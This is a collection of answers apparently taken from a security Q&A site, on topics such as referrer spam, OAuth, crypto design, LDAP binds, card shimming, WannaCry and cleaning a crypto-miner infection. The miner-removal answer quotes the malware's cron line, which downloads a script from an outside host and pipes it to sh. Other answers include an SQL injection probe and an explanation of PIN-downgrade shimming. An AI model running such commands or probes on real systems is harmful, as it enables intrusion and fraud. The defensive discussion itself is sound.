Scam link in "from"-links on my blog traffic

This is known as Referer spam, here is short description from Wikipedia:

  Referrer spam (also known as referral spam, log spam or referrer bombing) is a kind of spamdexing (spamming aimed at search engines). The technique involves making repeated web site requests using a fake referrer URL to the site the spammer wishes to advertise. Sites that publish their access logs, including referer statistics, will then inadvertently link back to the spammer's site. These links will be indexed by search engines as they crawl the access logs, improving the spammer's search engine ranking. Except for polluting their statistics, the technique does not harm the affected sites.

It is possible to prevent them via .htaccess, WP plugins or by setting a filter in your Google Analytics. The .htaccess file will look something like this:

 RewriteEngine on
 RewriteCond %{HTTP_REFERER} traffic2money.com [NC,OR]

For making a filter in Google Analytics, check this article. And if someone is interesting in blacklist, read this.


What steps should one take to provide "reasonable" levels of privacy from a government?

Unfortunately, HTTPS is about as good as it gets in a situation like this. Encryption will help you prevent someone from viewing your messages in transit, and HTTPS is the correct tool for that in this case. However, the real security hole here isn't transmission of data, it's who you're sending it to.

Whenever you visit BBC News or Stack Overflow, they obviously know that you visited them. You can hide who you actually are with Technologies like Tor, but having an account on a website will still allow them to keep track of you.

Twitter and Facebook, on the other hand, are going to leak information about you no matter what. In fact, that's the whole purpose of the two sites. Twitter and Facebook are frameworks communicating with others, and both of them favor making information available publicly instead of privately. Additionally, because they are bound by laws to cooperate with government agencies, even information that you ask to have stored privately can still be made "public." The moral of this story is this: if you give information to Facebook or Twitter, the government will also have access to that information regardless of how you transmit it to them. To only way to keep information private in this case is to stop using Facebook or Twitter, or at least cut back to only posting information that you are OK with anybody and everybody seeing.

In the case of managing a server, the trust is put on the company managing that server. If you have access to the hardware and software of the system, you can take some steps like Full Disk Encryption to prevent the management company from snooping on your data. Unless you can prevent the management company from physically accessing the machine while it is running, however, any data that is usually stored in RAM is not safe including Secret Keys. Again, the weak point is in the person you are sending the data to, not the method you are using to send the data.

The only real way to protect yourself in the case of a government entity snooping on you is to throw out all of your electronics and go live in the woods. Since that's not really a realistic or desirable solution, you are never going to be able to totally mitigate all the risk of your information being made available. HTTPS will probably take care of about 80% of the risk. Modern encryption is so strong that nobody except you and who you are talking to will be able to see the data being sent over an HTTPS connection. The last 20%, however, is filled with all the stuff that doesn't have an easy answer. The more you use Facebook, Twitter, GMail, etc, the more risk you will have.


Is it wise to completely rely OAuth2 for new users and not have our own login(with username and password) system

Is it fine to build applications where the user login is completely handled by OAuth2 and services like that.

If both the user and the service provider can trust the OAuth2 provider and if OAuth2 is implemented correctly it is fine. Note that this trust also includes privacy: the service provider can see which services the user is using. And there is no general rule if a service provider is trustable or not - it depends on the specific service provider and the specific use case. For example: NSA would likely not use Baidu (China) as OAuth2 provider.

  That way we do not have to have our own password database for the users.

The use case of OAuth2 is not only third party provided authentication. It can also be used in-house to provide single sign on to various internal services. In this case you still have your own internal password database.

  How good this approach would be keeping in mind the user experience?

In general single sign on and less passwords to remember provide a good user experience. But if you force the user to use an OAuth2 provider he does not like the experience will be bad. This can for example the case when you force privacy sensitive users to login with some social network provider even if these users specifically refused to use social networks so far for privacy reasons.

  Also would this approach be easy to implement the multi-factor authentication?

Most large OAuth2 providers offer MFA already.


Is there something similar to DNSBL's for protecting against forceful browsing?

Select some popular non-existing folders on your server and install tarpits. Tell your friends to do the same.

Edit: It helps by slowing down the bots that scan you, so you'll have plenty of idle time regardless how many are scanning you. As for what it is and how to do it: Google maintains a regularly updated list of links at the address provided above.


Security and privacy issues with Telegram

You can set a password as a second factor; this way, no one else will get an access to your account even if they will somehow obtain your phone number.

What you really see here is good old security/usability tradeoff. Most Telegram users probably never cared that much about the security of their account, and neither did previous owner of your number. Forcing them all to remember passwords would have undermined the growth of a messenger's user base.

At that point, Telegram decided to let the users choose themselves. In future, this may, but seems to be unlikely to, change. Whether a decision making of that sort is appropriate for you is completely up to you to decide.

What I can still suggest is to evaluate your own risks and threats in order to find out if you're fine with a platform that wouldn't enforce the most secure option as a default, or not. Here's an article on how to apply a context-centered approach to messaging platforms, it might help somewhat to understand the challenges of picking a messenger which fits your threat model best.


Should I avoid this token-based authentication scheme (that's not OAuth)?

This initially jumps out at me:  "The user gives me their username and password"

With their username and password you can do a lot of damage.  With OAuth it is easier to have granular control of access.


How can a restricted window for sql injections be abused?

Since you are explicitly allowing users to construct raw SQL code, you have to trust them.

However, this doesn't mean that you're defenseless.

Relational databases -- especially those with replication -- have Write-Ahead Log (WAL) files that act as transaction-by-transaction incremental backups.  If you perform regular full (offsite) backups, and ship your WAL files offsite frequently, you can recover from malicious users.

One bit of advice, though: Regularly practice restoring your database from your backup... There's nothing worse than thinking you had stable backups, then finding out during a disaster that the backups can't be restored for some reason.

You will also want to log every query that has a custom clause in it, regardless of if it succeeds (in fact, log before attempting to run the query) and especially log custom clauses that are caught by your filter.  Be sure to log the user ID along with the clause they tried.  People like to play with the obvious stuff first, so seeing a few and 1 = 1';-- clauses appear will let you know who to keep an eye on.

If you're fine with the user knowing that they're being watched very closely, then when a clause trips your filter, you can automatically send an email to yourself with that user CC'd. Don't make the email accusatory, just that potentially problematic input was detected and filtered. Presumably, you still want them to be a user; you just want to make sure they stay a well behaved user.

One additional benefit of this log is, you'll be able to find and fix false positives, i.e., AND text LIKE '%The em dash is often typed out as two dashes, "--".%'


Practical implications of 2014's android SOP vulnerability

I haven't studied this specific vulnerability, but from the points you mention I should note:

Cross-Frame-Options is not used too much on websites.
Although this SOP vulnerability is dwarfed by X-Frame-Options, two months before there was another one where it didn't seem to matter. Most outdated phones where you will be able to exploit one of them, most likely the other one will also be exploitable.
I don't trust too much on the specific examples given when journalists explain a vulnerability saying “you could compromise GMail / Facebook / BigSite” they are only providing an example in layman terms of what can be done with a vulnerability like that, mentioning a website everyone will know about and care about their privacy. It is possible that those journalists are aware of those finer details, or that the vulnerability description was already “simplified” when explained to them.


How secure is a static site hosted on Amazon S3?

There is no way for us to determine whether this would be secure.   Security is a massively deep topic that requires extensive analysis and an ability to think like an attacker.  The best way to get this knowledge is the Web Application Hacker's Handbook.  It is an interesting and fun read, but more importantly you'll be full of security knowledge when you're done.

Statistically, chances are very good that a static HTML page on Amazon S3 is secure.  The reason is that the majority of vulnerabilities arise from improper handling of user input.  This shouldn't be an issue for you.

To improve your security, look through the source of your page for any leaked information.  Make sure you're not giving away sensitive information in comments.  I've seen this one before:

<!-- Use the DB administrator password for testing:  f@keP@a$$w0rD -->

Also don't think that giving your content a static but unlinked URL is providing security.  Security through obscurity is not really security.


Security of bcrypt/sha256 key used with AES to encrypt a file

From looking at it for two minutes:

Using bcrypt is sound. SHA-256 is one of the best known hash functions (because it has been around for more than 10 years, widely deployed, and yet unscathed).
Since you generate a new salt for each encrypted file (and that's good !), it would make sense to store it in a file header. That way, you would not have to provide it as parameter to the decryption routine. A salt needs not be secret (that's a salt, not a key) but a new salt must be generated for each encryption, hence external handling could be cumbersome. You already have a custom header for the IV, you could do the same for the salt.

Alternative: store the salt as header, and generate both the
encryption key and the IV from bcrypt output (split the SHA-256
output into two 128-bit chunks; first one is the key, second one is
the IV). This would keep header size to 16 bytes. But a random IV
(from os.urandom(), like you do) is not bad either.
You use encryption but there is no MAC. There are not many attack models where the attacker can observe data (i.e. you need confidentiality) but not alter data (i.e. you do not need integrity). In practice, you would be better off adding a MAC. Ideally, replace CBC with a mode which handles both encryption and integrity (GCM, EAX).

If your support library does not provide such a mode, you will have to do it "old style" by combining encryption with HMAC. This is not totally trivial to do. Best practice would be to generate an extra MAC key from bcrypt output (if you produce the encryption key, the IV and the MAC key, you will need a larger hash function, e.g. SHA-512) and compute the MAC over the concatenation of the IV and the encrypted data (you could skip the IV only if you generate it from the passphrase too, but it is safer to include it in the MAC input). Upon decryption, verify the MAC first, then proceed to decryption only if the MAC matches.
You might want to include some provision for algorithm agility, i.e. adding in the header a byte value which identifies the combination of algorithms you use (bcrypt, SHA-256, AES+CBC, HMAC/SHA-256). This would allow you to switch later on to another set of algorithms without breaking code compatibility with existing files. In that case, don't forget to add this "algorithm identifier byte" to the input for the MAC.
Your padding is ambiguous: upon decryption, you will find some space characters at the end, but you will not know whether the extra spaces were part of the input file, or added by the encrypt function. And, indeed, upon decryption you leave the spaces. This might not be an issue for your specific usage scenario, but, as a general encryption/decryption tool, this is usually considered an issue if files do not survive an encryption/decryption trip without modification. PKCS#7 padding (also known as PKCS#5 padding) is commonly used: you add k bytes (at least 1, at most 16, so that the total length is a multiple of 16) and all the bytes have value k. Upon decryption, look at the last byte, which will tell you how many padding bytes were added.


How do you practically manage your never-use-personal-accounts-on-a-work-machine-ever double life, when your personal machine is a limited iOS device?

More and more people are using iOS devices as their only computers for several reasons. The popularity, expense, and maintenance costs have been outlandishly high for years now. My gf has gone through the iPhone 4 to 4S to 5 to 6 in the past 2.5 years -- and she does not own any other computers. She can't really afford them and always has a broken screen she is trying to save up money to replace. This is the new normal.

Can you use an iOS device for all personal computer needs? Certainly you can, and depending on your pocketbook, you can pick up accessories such as the ClamCase or apps described in books such as #iPadOnly. The first real post-PC book. How to use only your iPad to work, play and everything in between.

Can you secure a personal iOS device against nearly every drive-by threat? Yes, and this is very easy to accomplish if you have a few strong controls (e.g., 12-character-length mixed-case mixed-character password, never use public WiFi, leave Bluetooth and NFC off, never install unofficial apps, etc). Some of these have been described in the NSA hardening guides or via the Center for Internet Security benchmarks.

For protection against carrier networks, I agree that we put too much trust in them. SIM cards, just like USB and SDcards, have been known to contain spyware such as NSA implants (many countries can perform the equivalent). Some devices shipped with rootkit-like technology such as found in the CarrierIQ fiasco. Many cell towers utilize stingray technology (i.e., IMSI catchers), especially near malls, airports, and government buildings. In these areas, you will also find law enforcement use of automatic license plate recognition, facial recognition, and many other privacy-busting technologies. Perhaps these are only used to combat terrorist activity or child kidnappings. It is a bit presumptuous to think that these national security or localized law-enforcement technologies will ever be used against you personally, however, so most people tend to fight their overuse by way of the ACLU, the EFF, or other legitimate channels.

The technology that I use is simple: a data-only SIM card via the Straight Talk BYOT program. You call Straight Talk, order the SIM, and plug it into your GSM (preferably AT&T-compatible with LTE) device. If you are very concerned about your data, or have a specific need for your most-secure data, such as intellectual property (e.g., say you are working on a patent), then you might want to avoid cloud, virtual, and outsourced services. For example, you could setup a private infrastructure (e.g., ownCloud) and pay for insurance (techinsurance.com for the baseline, plus cyber insurance) to cover residual risk.


Is There an Analogous Agency to OSHA but for Bad Data/Security Practices?

I think the challenge is a lot of the entities you could "report" these concerns to will want evidence of an incident and/or breach occurring. I don't know of any entities off the top of my head that will respond to accusations that an organization has poor cybersecurity practices/hygiene. If that were the case, every company in America would probably be reported. I you know if actual events (or possibly even near-misses), that might get responded to.


How can I kill minerd malware on an AWS EC2 instance?

I found the solution to removing minerd. I was lucky enough to find the actual script that was used to infect my server. All I had to do was remove the elements placed by this script -

On monkeyoto's suggestion, I blocked all communication with the mining pool server - iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
Removed the cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh from /var/spool/cron/root and /var/spool/cron/crontabs/root.
Removed the directory /opt/yam.
Removed /root/.ssh/KHK75NEOiq.
Deleted the files /opt/minerd and /opt/KHK75NEOiq33.
Stopped the minerd process - pkill minerd.
Stopped lady - service lady stop.

I ran ps -eo pcpu,args --sort=-%cpu | head, top -bn2 |sed -n '7,25'p and ps aux | grep minerd after that and the malware was nowhere to be seen.

I still need to figure out how it gained access into the system but I was able to disable it this way.


Has an antivirus ever failed to detect malware for "non-technical" reasons?

Yes - this example is pretty old, but Magic Lantern was a spyware program written by the FBI that some antivirus vendors initially decided to whitelist.

Wikipedia

  The public disclosure of the existence of Magic Lantern sparked a
  debate as to whether anti-virus companies could or should detect the
  FBI's keystroke logger.

  Concerns include uncertainties about Magic Lantern's full potential
  and whether hackers could subvert it for purposes outside the
  jurisdiction of the law.[7][8]

  Bridis reported that Network Associates (maker of McAfee anti-virus
  products), had contacted the FBI following the press reports about
  Magic Lantern to ensure their anti-virus software would not detect the
  program.[citation needed] Network Associates issued a denial, fueling
  speculation as to which anti-virus products might or might not detect
  government trojans.[9]

  CNET News has surveyed 13 security companies about their contacts with
  and level of cooperation with law enforcement authorities.[10]

  Graham Cluley, a technology consultant from Sophos, said "We have no
  way of knowing if it was written by the FBI, and even if we did, we
  wouldn’t know whether it was being used by the FBI or if it had been
  commandeered by a third party".[11] Another reaction from this came
  from Marc Maiffret, chief technology officer and cofounder of eEye
  Digital Security who states: "Our customers are paying us for a
  service, to protect them from all forms of malicious code. It is not
  up to us to do law enforcement's job for them so we do not, and will
  not, make any exceptions for law enforcement malware or other
  tools."[12]

  When asked if Magic Lantern would need a court order to deploy, FBI
  spokesman Paul Bresson would not comment, stating: "Like all
  technology projects or tools deployed by the FBI it would be used
  pursuant to the appropriate legal process."[13][14] Proponents of
  Magic Lantern argue the technology would allow law enforcement to
  efficiently and quickly decrypt messages protected by encryption
  schemes. Implementing Magic Lantern does not require physical access
  to a suspect's computer, unlike Carnivore, a predecessor to Magic
  Lantern, since physical access to a computer would require a court
  order.[15]

  Following the media coverage of Magic Lantern, F-Secure (a Finnish
  anti-virus company), announced their policy on detecting government
  spying programs: "F-Secure Corporation would like to make known that
  we will not leave such backdoors to our F-Secure Anti-Virus products,
  regardless of the source of such tools. We have to draw a line with
  every sample we get regarding whether to detect it or not. This
  decision-making is influenced only by technical factors, and nothing
  else, but within the applicable laws and regulations, in our case
  meaning EU laws.

  We will also be adding detection of any program we see that might be
  used for terrorist activity or to benefit organized crime. We would
  like to state this for the record, as we have received queries
  regarding whether we would have the guts to detect something obviously
  made by a known violent mafia or terrorist organization. Yes we
  would."[16]


Anomaly Intrusion Detection relevant features

I found a great survey paper on this, "Jonathan J. Davis, Andrew J. Clark, Data preprocessing for anomaly based network intrusion detection: A review, 2011". Several features are listed as tables in its appendix.


Certificate Authentication from untrusted IP address

Obviously Microsoft is using the services of Akamai to direct clients who are asking for crl.microsoft.com somewhere. The whole purpose of the services which Akamai is offering is to load balance traffic on the Internet as intelligently as possible. This is what Akamai's customers (both ISPs as well as content providers) are paying for.

So simply speaking, is works the same way as 8.8.8.8 (Google DNS), which is by no means one single DNS server machine on whole planet earth, but it is a mechanism (IP anycast to be exact) which translates to: Ask the server which is providing Google DNS which is closeby as in the definition of your ISP.

Same thing here for CRL instead of DNS. There is not the Microsoft CRL server, there is for sure one authoritative certificate revovation list maintained by Microsoft, but it will be distributed by replicating over a number of machines throughout the Internet.

You are surprised that the final server you end up connecting to is located in your ISPs ASN; but just that makes a lot of sense for your ISP, Microsoft and Akamai. I have no idea how big or small your ISP is, but by setting it up that way your ISP does not have to load his phyiscal lines to other ASNs with traffic to crl.microsoft.com, but instead they run a mirror on their own network. This is common with a lot of services.

If you are asking if you should trust that mechanism: You are basically trusting your ISP and Akamai here or not. Of course, it would be possible that for whatever reason the CRL mirror at your ISP's network is not updated in time and you will miss a certificate revocation or your ISP might theoretically even manipulate it by purpose.

In case you want to mitigate that risk, find out if you can point your browser to any other CRL service or override crl.microsoft.com in your DNS resolution mechanism (for example through the hosts file; see https://en.wikipedia.org/wiki/Hosts_(file)) not to be a CNAME to ms.akadns.net but to a different service with appears more trustworthy to you.


Are EMV terminals required to support offline PIN as well as online PIN in US market?

The short answer is international interoperability.

Not all countries joined the EMV band-wagon at the same time, and hence different countries support different types CVMs. Many markets still only support Offline PIN, or even Signature.

Hence, both cards and terminals support multiple CVMs, but do so in a prioritized order. The idea is that the card and terminal negotiate the highest common CVM that both support, in order to carry out a transaction.

If the American terminals only supported Online PIN, then travellers might fail to transact there, since they their cards might not support Online PIN. This could be a valid decision, but in some areas (like retail at airports) this is unacceptable.

Similarly if Americans went to overseas to countries where Online PIN is not supported, they'd expect their cards to support either Offline PIN or signature in order to facilitate payments there.

This gives most customers the best chance of at least transacting -- albeit with a 'lower' CVM.


Having done the same mistake myself a couple of years ago:

Most protocols/software will return an error code if you try to login with a valid username (other than "anonymous") and an empty password. That is even true for most systems that allow some kind of anonymous usage without being logged in at all.

For LDAP, however, the common case is that the server allows logins with any username and an empty password. The user will end up as being anonymous. But the login returns a status code indicating success.

RFC2829 says:

  An LDAP client MAY also choose to explicitly bind anonymously. A client that wishes to do so MUST choose the simple authentication option in the Bind Request (see section 4.1) and set the password to be of zero length. (This is often done by LDAPv2 clients.) Typically the name is also of zero length.

So, now imagine that the login is not done by the user directly. But the user logs into some other software, and this software takes the username and password and does an LDAP login behind the scenes.

If this software blindly trust the "success" result from the LDAP server without having a special case handling for empty passwords, boom.

That software might even try to read some information about the current user such as the email address. But if LDAP is used as an directory of people, this information may be accessible for anonymous users. LDAP servers are often only reachable from within the company network and not from the Internet.

I said at the beginning, that I did this mistake myself. Our software supports many different kinds of authentication front and backends. LDAP was the only effected system of all the ones we support.

To ensure that this will never happen again, we now globally reject empty passwords for all authentication systems, unless the system is passwordless such as single-sign-on services and smart-cards. And we added an additional test case to our documentation (test good case, test wrong password, test empty password).


First, Apple's Secure Enclave  is a module which ensures that the boot loader only runs code signed by Apple. That's not what you're doing, you are trying to build a Hardware Security Module (HSM).

As you figured out, the proper way to do this is to have the HSM do all the crypto operations internally so that no keys ever leave the device - as you point out, if you hand the encryption/decryption key to the device, then it's now out of your control. So ideally you want a processor that's fast enough to do the crypto processing onboard.

That said, storing an encrypted AES key on the device next to the data, and relying on the HSM to decrypt it for you is exactly how the Android Full Disk Encryption works (I think). I would recommend reading the Android Dev page on Full Disk Encryption to give you ideas.

I'll expand this answer to give some broader context.

This question is deep enough that we should ask what your "threat model" is (ie "What kind of attacks are you trying to protect against?"). As pointed out in comments by @JeffMeden and @supercat, what level of security you need really depends on what you're trying to protect, and how you want it protected.

You mention that you want to protect the AES key from a memory dump. An AES key is valuable, but not because the key itself is valuable, rather because the information it's protecting is valuable. You said:

  I do understand that the key used to encrypt the app data might be exposed through memory dumps,

This is a good thing to be thinking about, but if the data itself might be exposed through memory dumps, then it's hardly relevant. But as you say,

  but the application programmers can minimize this risk.

Whether your HSM is decrypting an AES key, or decrypting the data directly, once you hand that back to some user program, you no longer have any control over its protection.

Bottom line: if your threat model includes processing the decrypted data on a PC, while also protecting said data against someone powerful enough to do a memory dump, then there's nothing your USB peripheral can do; you also need to write the software that's running on the PC.

If you start going down that line, you will end up inventing a Trusted Execution Environment in which all the processing of the plaintext data actually happens inside a secure processor, and only the result is handed back to the "untrusted" PC.


In most cases where regulations mandate encryption at rest it generally would apply to the system as a whole due to the fact that the regulated data will frequently be copied into logs, swap space, and other areas of the system. Likewise it would be accessed by other applications on the system for things like file integrity monitoring, backup, anti-virus scanning, etc...

For these reasons just encrypting the USER directory would not normally be acceptable. Likewise there are additional security risks to not doing full disk-encryption in the event the system (or it's backup) are compromised.


If the only symptom of the issue is that your mouse moves involuntarily then I'd suggest that malware is unlikely to be the cause. Malware is either designed to be stealthy, collecting information and sending it back to command and control systems, or it is designed to be noticed, preventing normal work in order to simply annoy you or demand some sort of ransom.

Even if there is malware that allows remote control of your system it would be either from the command line or a virtual console, your mouse wouldn't move.

It sounds like the most likely cause of your mouse moving is simply your mouse is broken, or something is wrong in your drivers or hardware. Try to eliminate these possibilities before you spend more time wiping your computer.


Best practice for selective opening of ports on network gateway

If the proxy is good enough for your HTTP traffic, then it should be good enough for your FTP traffic.

In theory making a system easier to administer shouldn't make it more secure, since you should be doing the existing, horrible admin tasks properly. But as you point out, in the real world, the easier it is to stay in policy the more likely you are to stay in policy.

(One minor caveat: while every web browser is really easy to set up to use a proxy server, I've found some ftp clients to be a lot fiddlier.)


Key strengths, and their equivalences, become meaningless when they reach the zone of "cannot be broken with existing and foreseeable technology", because there is no such thing as more secure than that. It is a common reflex to try to think of key sizes as providing some sort of security margin, but this kind of reasoning fails beyond some point.

Basically, the best known algorithms for breaking RSA, and for breaking elliptic curves, were already known 25 years ago. Since then, breaking efficiency has improved because of faster computers, at a rate which was correctly predicted. It is a tribute to researchers that they could, through a lot of fine tuning, keep up with that rate, as shown on this graph:

(extracted from this answer).

The bottom-line is that while a larger key offers longer predictable resistance, this kind of prediction works only as long as technology improvements can be, indeed, predicted, and anybody who claims that he knows what computers will be able to do more than 50 years from now is either a prophet, a madman, a liar, or all of these together.

50 years from now, the optimistic formula given in the answer quoted above ((year - 2000) * 32 + 512) means that, at best, RSA records could contemplate approaching 2592 bits.

The conclusion is that there is no meaningful way in which 3000-bit and 4000-bit RSA keys could be compared with each other, from a security point of view. They both are "unbreakable in the foreseeable future". A key cannot be less broken than not broken.

An additional and important point is that "permanent" keys in SSH (the keys that you generate and store in files) are used only for signatures. Breaking such a key would allow an attacker to impersonate the server or the client, but not to decrypt a past recorded session (the actual encryption key is derived from an ephemeral Diffie-Hellman key exchange, or an elliptic curve variant thereof). Thus, whether your key could be broken, or not, in the next century has no importance whatsoever. To achieve "ultimate" security (at least, within the context of the computer world), all you need for your SSH key is a key that cannot be broken now, with science and technology as they are known now.

Another point of view on the same thing is that your connections can only be as secure as the two endpoints. Nothing constraints your enemies, be they wicked criminals, spies or anything else, to try to defeat you by playing "fair" and trying to break your crypto upfront. Hiring thousands upon thousands of informants to spy on everybody (and on each other) is very expensive, but it has been done, which is a lot more than can be said about breaking a single RSA key of 2048 bits.


Is there any security risk in storing hashed variations of passwords?

Interesting question. I guess it depends which and how many versions you are storing. The main concern in doing so is how much you are reducing the search-space / entropy.

If, for example, the caps-lock version of the password is an all-uppercase version of the password, then by storing it this way, you are reducing the entropy of the password. The attacker in this case only has to search using the caps-lock version using only uppercase character-set. That gives them a significantly easier job.

If however, the caps-lock version is simply a case-reverse of the letters, i.e. normal password == aXbJklMP and caps-lock version == AxBjKLmp, then you're probably not hugely reducing the search space. There are still two possible passwords instead of one, making the search twice as likely to find one of those passwords though...


Is a TLS 1.2 certificate backwards compatible?

Cert will work fine with any SSL/TLS version. Run Test to make sure.
There is no such thing as a "TLS 1.2 certificate". (It'll be an "X 509 v3" certificate.) And it'll support any existing SSL/TLS version. You'll be fine.

will the web server drop down to TLS 1.0 or 1.1 if it determines that a given client is not capable of negotiating TLS 1.2?

Yes, if you configure your web server to support more than one protocol version, then the version negotiation will settle for the highest version supported by both client and server.
But to make sure just run your site through the SSL Labs tester: https://www.ssllabs.com/ssltest/


Why are there no free resources on exploit development on macOS?

A new exploit for iOS/macOS discussed here — https://blog.zecops.com/vulnerabilities/analysis-and-reproduction-of-cve-2019-7286/

Here also is another older blog on macOS Mach-O targeting — https://www.offensive-security.com/vulndev/evocam-remote-buffer-overflow-on-osx/


How do browsers know which cookie to get?

Yes, browsers enforce cookie domain scoping.   There are a number of rules around when cookies may be sent, but the most basic rule is that cookies are only attached to requests to the same domain from whence they were set.

Additionally, if the cookie has a path attribute it will only be sent with requests that match that path within requests to domain from which they were set, and cookies that are marked with the "secure" flag will only be sent along with requests that are made via HTTPS.


How to protect against exploitation using a lapsed domain

This is a nobrainer. Don't let the domain lapse. Domains are cheap, security incidents are expensive.


It it a good idea to whitelist inbound email using a Hash on the address? (Similar to BATV, but with DKIM)

Many systems support the use of alias with a character such as +. So, makerofthings7+c6201404b8efbe@invalid-email.com would be equivalent to makerofthings7@invalid-email.com for the MDA (ie. they would end up in the same mailbox).

Then, you keep a list of whitelisted tokens (maybe paired with the From header they must use):
makerofthings7+c6201404b8efbe@invalid-email.com
makerofthings7+f20bb519c3c78a@invalid-email.com
makerofthings7+50d45bcae94598@invalid-email.com
makerofthings7+ecdbe0890dd0c2@invalid-email.com

If someone sends you an email to an address in your list, it gets blacklisted. If it's not, it's automatically treated as spam (to avoid token-guessing). Obviously, if a good token gets compromised, you replace it ;)

The whitelist doesn't need to be stored in the MTA, the filtering can be done locally. For offline uses, you can create in advance a bunch of whitelist tokens. Or even made them up on the fly as long as you update the whitelist checked by the filter before it processes that new mail.

This has existed for some time, I don't remember when I first about it. The best part is that it works today, without having to instruct MUAs about a new X-WhitelistReplyAddress header.

One big difference with your recipients-hashing is that in your solution there is a single key from which the tokens are derived, while here they are randomly generated tokens that you need to list (although you could replace the search the token in the list with check that it matches the right token if coming from this guy). But if a hash-based whitelist token gets compromised, you can't remove it without rekeying everybody's tokens, while in the other approach you can easily replace a single token (moreover, if you keep records of the entities you gave your email, you can find who leaked/sold your email address).


I'll second Lucas's view that you should probably find someone more experienced than you to do this (you should find someone more experienced than me as well).  That said, I'll attempt to answer your question.

The PayPal API should provide a transaction ID or some other unique value.  Record that in your transaction log (you do have one, don't you?); if you see that value in a later transaction, you know the transaction isn't valid.  Record the invalid transaction in your audit log (you've got one of those as well, right?) and ignore it.


How does debit/credit card shimming work?

Someone has done research on your question. In a whitepaper named "It Only Takes A Minute to Clone a Credit Card, Thanks to a 50-Year-Old Problem"(pdf).
Researchers create magstripe versions from EMV and contactless cards: Banking industry loophole reported more than a decade ago still remains open and ripe for exploitation today.
The way it works is shimmer records the signed static data produced by the card in order to identify itself to the terminal. The data contains identifying details about the account, account holder and the issuing bank. These details are enough to reproduce a fraudulent magstripe card. What that data lacks is CVV1 for the magstripe and PIN.
What shimmer makers discovered that some banks treat CVV1 as optional and still accept the magstripe transaction even if the CVV1 is incorrect. To learn PIN, shimmers downgrade how cardholder verification should be performed as the communication between the card and terminal is not authenticated.
The issuer sets priority for the acceptable ways that can be used for cardholder verification.

4 - Online PIN verification

3 - Offline encrypted PIN verification

2 - Offline Plaintext PIN verification

1 - No PIN verification

0 - Manually compare cardholder signature (deprecated)

Terminal and card agree on priority level which is supported by both. Shimmer downgrades the supported methods to offline plaintext verification and learns the PIN. However, the decision is made by the card and it can reject the transaction if the terminal doesn't support encrypted PIN verification.
Another method is to capture heatmap of the PIN pad just after the customer leaves. This approach is quite easier and scalable.
Most of the banks today set atleast offline encrypted PIN verification for point of sale devices and without correct CVV in magstripe transaction, it is declined. But some banks are not enforcing this standard.


Should I enforce a password policy on a web site?

CAPTCHA systems are in no way a replacement for a good password policy. They aren't tackling the same problems.

CAPTCHA systems only help when someone is attempting an online attack against your system. If your application has some hole that allows an attacker to dump a database full of password hashes, placing a CAPTCHA on every page won't do anything.

Have strong, but reasonable password policies to restrict users from using hilariously weak passwords.


`$_GET[1]`; payload why work in php short tag only?

<?= is shorthand for <?php echo. The second one isn't echoing anything, so the page is blank.


How is the "WannaCry" Malware spreading and how should users defend themselves from it?

WannaCry attacks are initiated using an SMBv1 remote code execution vulnerability in Microsoft Windows OS. The EternalBlue exploit has been patched by Microsoft on March 14 and made publicly available through the "Shadowbrokers dump" on April 14th, 2017. However, many companies and public organizations have not yet installed the patch to their systems. The Microsoft patches for legacy versions of Windows were released last week after the attack.

How to prevent WannaCry infection?

Make sure that all hosts have enabled endpoint anti-malware solutions.
Install the official Windows patch (MS17-010) https://technet.microsoft.com/en-us/library/security/ms17-010.aspx, which closes the SMB Server vulnerability used in this ransomware attack.
Scan all systems. After detecting the malware attack as MEM:Trojan.Win64.EquationDrug.gen, reboot the system. Make sure MS17-010  patches are installed.
Backup all important data to an external hard drive or cloud storage service.

More information here: https://malwareless.com/wannacry-ransomware-massively-attacks-computer-systems-world/


Is it worth storing email addresses as hashes?

Generally speaking, you shouldn't ask and hold user data (especially PII) that you don't need, this is even more true now under GDPR (if it applies in your scenario) but it's always been the case in security. The lesser the data, the lesser the risk.

When you hash passwords, you lose knowledge about its plaintext version and the fact that you're asking whether it's worth hashing emails as well as passwords, makes me think that perhaps you don't really need that information in the first place.

That being said, if you do need emails (for other purposes than logging) then you can't hash them as you would lose that information by doing so.
In that case I'd instead recommending encrypting/authenticating your data using AES/HMAC or Chacha20/Poly1305 or similar.

Another approach would be to use PAKE: no emails, no passwords and no need to transfer them over the Internet! An example of this can be SRP or OPAQUE.


How to best set up public WiFi without giving access to the rest of my network?

I know how to do this.. I just don't know how to do this with pf.

Forget the wireless portion, what we want to do is make two LAN's that are isolated from each other. You can then add the wireless access point to the one of the LAN's.
Obviously, for 2 LAN's, you'll need 3 ethernet ports on your OpenBSD box.
See the following for the types of rules you need to make.
http://wiki.openwrt.org/doc/recipes/guest-wlan

Now, I don't know pf.. but, you basically need to..-

Forward everything from LAN1 and LAN2 to WAN using NAT.
Firewall openbsd from LAN2, and leave it open for LAN1.
Open various ports for dhcp and dns.


They think I am their IT Dept....What to do about it?

First off what you're doing sounds like a pen. test/security test.  It's very important when doing this kind of testing to ensure you have a signed off scope document from someone in authority at the company you're testing, as without that you could do something that the company wouldn't be happy with.  Also without authorization from the company some actions will be in breach of local cybercrime laws.

So assuming that you've got a general authorization for "social engineering" style attacks, it would depend on your goal.

Asking a user to open a file which gives you access to the internal network would be one option (using something like SET or Metasploit to generate the payload
Ask a user to provide your their password.  Depending on your scope again if successful you could then use this to access things like webmail systems to prove that attackers can gain unauthorised access to company information in this way.


How to mitigate damage from a database dump?

You are correct encrypting the data at the application layer and storing it in the database has limitation on search, although clever application architecture could get around some of this by allowing a temporary decryption of data while the application is running, such as in memory - depends on the size of dataset, the security requirements, and compliance levels needed.

I think the shard option as you likely indicate doesn't offer much if any protection, and can complicate the system with little benefit.

How about full database encryption options? These are handled by the database engine and are transparent to the application: https://docs.microsoft.com/en-us/sql/relational-databases/security/encryption/transparent-data-encryption-tde


Does google have access to all information on a Protonmail android app?

It is not known to what extend google snoops on android customers.
I believe the Google Play Services are commonly installed with full privileges which you can find under "Device admin apps". That could allow them to snoop on you, but doesn't necessarily mean they do.
If you don't trust the Google Play Services, you could install a custom ROM without Google Play Services, (Or at least MircoG if you trust them) to mitigate the risk.


Insecure Cookies Because of Load Balancer

